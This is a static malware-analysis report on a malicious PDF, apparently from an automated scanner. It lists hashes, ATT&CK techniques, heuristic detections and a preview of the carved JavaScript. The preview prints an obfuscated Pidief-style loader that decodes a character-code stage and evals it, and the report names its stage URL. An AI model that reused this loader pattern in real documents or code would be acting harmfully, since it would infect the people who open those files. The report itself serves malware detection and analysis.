Malicious PDF — malware analysis report

Static analysis result for SHA-256 7742c984ae3f6cb9…

MALICIOUS

PDF

47.8 KB Authoring application: substr First seen: 2012-10-29
MD5: c7fb59cb5d4566ecb66cced1cd95ad8c SHA-1: b547ffa632e21a68ae23ba03b3e75956e03871d9 SHA-256: 7742c984ae3f6cb94308993d67eda957ae4712ae0c5e218eefed95e44ec73493
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript, identified as a Pidief-style loader. This script reconstructs a URL and a character-code array, which it then uses to download and execute a second-stage payload. The reconstructed URL is 'http://substr.split.test/v2/aenbwobow/titletring.fr'. The ML classifier strongly indicates maliciousness.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xBCA2 437 bytes
SHA-256: dc9625a28b2e8039c89c2b505669cda0741e8d5843110879690d95a79ed6cba9
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
aa = v[v];
t='le';
b='v';
a="e".concat("a","n","b","w",b,"o");
s=a[0].concat(b,a[1],t[0]);
e=aa()[s];
ozvo=e('tit'.concat(t));
q=ozvo[v](a.length-6,a.length+2);
zda=e(v[0].toUpperCase().concat(v[4],'ring.fr',a[6],q));
q=ozvo[v](t.length+12)[e(v[0].concat('ubject'))]('c');
k=q['len'.concat('gth')];
i=0;
while(i!=k){
	enl = 1*(q[i]) - (-1)*(q[i-(-1)]);
	s2 = s2.concat(zda(enl));
	i+=2;
}
e(s2);

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